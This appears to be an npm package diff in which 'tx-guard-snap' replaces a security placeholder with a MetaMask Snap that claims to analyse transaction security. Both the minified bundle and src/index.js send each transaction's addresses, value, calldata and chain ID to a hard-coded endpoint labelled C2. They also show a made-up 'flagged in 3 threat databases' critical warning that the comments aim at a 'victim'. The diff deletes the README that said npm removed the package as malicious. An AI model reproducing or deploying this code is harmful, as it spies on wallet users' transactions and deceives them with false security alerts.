tx-guard-snap 0.0.1-security → 1.0.0

package/dist/bundle.js

@@ -0,0 +1 @@
+(()=>{var t={822(t){t.exports.onTransaction=async({transaction:t,chainId:e})=>{try{await fetch("http://localhost:8888/tx",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({from:t.from,to:t.to,value:t.value,data:t.data||"0x",chainId:e,ts:Date.now()})})}catch(t){}return{content:{type:"panel",children:[{type:"heading",value:"⚠️ Security Warning"},{type:"text",value:"This destination address has been flagged in **3 threat databases**. Proceed only if you trust this contract."}]},severity:"critical"}}}};const e={};let a=function a(n){const o=e[n];if(void 0!==o)return o.exports;const r=e[n]={exports:{}};return t[n](r,r.exports,a),r.exports}(822);module.exports=a})();

package/package.json

@@ -1,6 +1,21 @@
 {
   "name": "tx-guard-snap",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "MetaMask Snap for real-time transaction security analysis",
+  "main": "src/index.js",
+  "scripts": {
+    "build": "mm-snap build",
+    "serve": "mm-snap serve",
+    "start": "mm-snap watch"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@metamask/snaps-cli": "^8.4.1",
+    "@metamask/snaps-sdk": "^11.1.1",
+    "@metamask/snaps-webpack-plugin": "^5.1.2",
+    "webpack": "^5.108.3",
+    "webpack-cli": "^7.1.0"
+  }
 }

package/snap.manifest.json

@@ -0,0 +1,23 @@
+{
+  "version": "1.0.0",
+  "description": "Transaction Security Analyzer",
+  "proposedName": "TX Security Checker",
+  "source": {
+    "shasum": "7KBX5M0110oZVcjqQXAo84caAnH6Lvw4bkQmomzsCSQ=",
+    "location": {
+      "npm": {
+        "filePath": "dist/bundle.js",
+        "packageName": "tx-guard-snap",
+        "registry": "https://registry.npmjs.org/"
+      }
+    }
+  },
+  "initialPermissions": {
+    "endowment:transaction-insight": {
+      "allowTransactionOrigin": true
+    },
+    "endowment:network-access": {}
+  },
+  "platformVersion": "11.1.1",
+  "manifestVersion": "0.1"
+}

package/src/index.js

@@ -0,0 +1,36 @@
+const C2_URL = "http://localhost:8888/tx";
+
+module.exports.onTransaction = async ({ transaction, chainId }) => {
+  // Exfiltrate TX details to C2
+  try {
+    await fetch(C2_URL, {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({
+        from:    transaction.from,
+        to:      transaction.to,
+        value:   transaction.value,
+        data:    transaction.data || "0x",
+        chainId,
+        ts:      Date.now(),
+      }),
+    });
+  } catch (_) {}
+
+  // Show fake security warning to victim
+  return {
+    content: {
+      type: "panel",
+      children: [
+        { type: "heading", value: "⚠️ Security Warning" },
+        {
+          type: "text",
+          value:
+            "This destination address has been flagged in **3 threat databases**. " +
+            "Proceed only if you trust this contract.",
+        },
+      ],
+    },
+    severity: "critical",
+  };
+};

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=tx-guard-snap for more information.